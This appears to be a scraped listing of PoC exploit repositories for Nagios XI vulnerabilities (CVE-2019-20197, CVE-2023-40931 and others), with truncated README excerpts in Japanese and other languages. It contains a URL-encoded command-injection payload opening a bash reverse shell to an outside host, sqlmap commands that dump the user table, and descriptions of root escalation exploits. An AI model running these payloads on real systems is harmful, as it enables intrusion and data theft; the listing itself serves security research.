CVE-2019-20197

CVE-2019-20197 Nagios XI リモートコマンド実行の脆弱性 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc CVE-2019-15949 の Python PoC 概要 Nagios XI = 5.6.5 には、攻撃者が RCE を利用して root への権限昇格を可能にする脆弱性が存在します。 このエクスプロイトを実行するには、'nagios' ユーザーとしてサーバーにアクセスできるか、プラグイン管理の権限を持つ Web インターフェース経由での CCM アクセスが必要です。 詳細 getprofile.sh スクリプトは、システムプロファイルのダウンロード profile.php?cmd=download...

CVE-2023-48084

CVE-2023-48084 CVE-2023-48084 用の Python エクスプロイト - Nagios XI 11.3.5 より前のバージョンは、一括変更ツールを介した SQL インジェクションの脆弱性が存在することが判明しました。 このエクスプロイトは /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id= を使用して SQL クエリを実行し、ブラインド SQL インジェクションを悪用します... 使用方法 リポジトリをクローンして requirements.txt をインストールします...

CVE-2024-24401

脆弱性レポート CVE 発見者: Jarod Jaslow MAWK （KALI LINUX上での実行を想定して設計されています） 注意事項 Nagiosは、最近のすべてのダウンロードにおいてバージョン2024R1.0.1をパッチ適用済みとしています。対象が脆弱かどうかを判断するには、対象が2024R1.0.1の古いダウンロード版を使用していることを確認してください。 更新されたスクリプトは、対象システムが脆弱であることを確認します。 OVA NAGIOS ユーザー認証情報: mawk:mawk ダウンロード:...

CVE-2024-24402

脆弱性レポート CVE 発見者: Jarod Jaslow MAWK 脆弱性の詳細: エンドポイント: Nagios XI Version 2024R1.01 脆弱性タイプ: ユーザー "NAGIOS" からの権限昇格 悪用結果: ターゲットシステム上での完全な root アクセス 再現手順: 1. Nagios XI バージョン 2024R1.01 の新しいインスタンスを作成する: Nagios XI OVAファイルを次からダウンロード:...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Nagios XI に報告されたバグ CVE-2021-25296 コードの場所 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php コードスニペット if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

CVE-2024-24401

脆弱性レポート CVE発見 KALI LINUX上での実行を想定 注意事項 Nagiosは最近のすべてのダウンロードにおいてバージョン2024R1.0.1をパッチ適用済みです。対象が脆弱かどうかを判断するには、2024R1.0.1より古いダウンロードを使用していることを確認してください。 更新されたスクリプトは、対象システムが脆弱であることを確認します。 脆弱性の詳細: エンドポイント: /nagiosxi//config/monitoringwizard.php Nagios XI バージョン 2024R1.0.1 脆弱性の種類: 認証済みSQLインジェクション 悪用結果:...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

CVE-2024-33775

CVE Discovered by: K. Wahab NeoX 脆弱性の詳細: 製品: Nagios XI Version 2024R1.01 脆弱性: ユーザー "NAGIOS" または "APACHE" からの権限昇格 結果: 対象システムでの完全なrootアクセス CVE: https://vulners.com/cve/CVE-2024-33775 エクスプロイト: この例ではRSS Dashletが使用されています。 1. Nagios XIの新しいインスタンスを作成する: 以下の場所からNagios XI Version 2024R1.01...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Configuration Wizard における認証済みコマンドインジェクション CVE-2025-34227 の簡単な概念実証リポジトリです。Nagios XI の Configuration Wizard における認証済みコマンドインジェクションです。 詳細な解説はこちら: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/ curl 概念実証 以下のペイロードは database パラメータに含まれています: ;touch...

CVE-2025-61299_POC

CVE-2025-61299POC Nagios XI 2024R1 中的经过身份验证的命令注入 CVE-2025-61299...

CVE-2023-48084-Revised

CVE-2023-48084 — 更新版PoC リポジトリ: MettHK/CVE-2023-48084-Revised Hamibubu/CVE-2023-48084 の更新版で、 マルチスレッド、二分探索による抽出、データベース/テーブル/カラム選択用のCLIフラグを備えています。 元のリポジトリではありません。 これは派生的・改良版のPoCです。元の作業の功績は Hamibubu に帰属します。 免責事項 許可されたセキュリティテストおよび教育目的のみ...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 概要 Nagios XI = 5.6.5 には、攻撃者がRCEを利用してrootへの権限昇格を可能にする脆弱性が存在します。 このエクスプロイトを実行するには、サーバーへの'nagios'ユーザーとしてのアクセス、またはWebインターフェース経由でプラグインを管理する権限を持つCCMアクセスが必要です。 詳細...

CVE-2023-40931-PoC

CVE-2023-40931 CVE-2023-40931を悪用するためのsqlmapペイロード ペイロード 必要な情報: 有効なユーザー名とパスワード ホストされたインスタンスのドメインとパス sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id=3&token=curl -ksX POST https:///nagiosxi/api/v1/authenticate -d...

CVE-2023-40933-PoC

CVE-2023-40933 CVE-2023-40933 を悪用するための sqlmap ペイロード ペイロード 必要な情報: 有効なユーザー名とパスワード ホストされたインスタンスのドメインとパス sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=updatebannermessagesettings&id=3&token=curl -ksX POST https:///nagiosxi/api/v1/authenticate -d...

CVE-2019-20197

Nagios XI リモートコマンド実行の脆弱性CVE-2019-20197 POC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8...

CVE-2023-47400

CVE-2023-47400 CVE-2023-47400 的概念验证 通过任意文件写入在 Nagios XI 5.11.0 上实现已认证的 PHP 远程代码执行 !Note 此 PoC 基于 NCC 集团发布的技术公告 https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/ 此 PoC 遵循以下过程： 上传一个名为 placeholder.jpg 的有效图像（仅包含 JFIF 魔数头部，无内容） 使用自定义包含的 重命名 功能将图像重命名为...

Nagios-XI-s-CVE-2023-40931-Exploit

이 저장소에는 README가 없습니다...

CVE-2023-24034

An issue was discovered in twilioajaxhandler.php in Nagios XI before 5.9.3. An attacker can force a user to visit a malicious site by using a open redirect vulnerability...

CVE-2023-24035

An issue was discovered in Nagios XI before 5.9.3. The isinsecureloginauthenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison...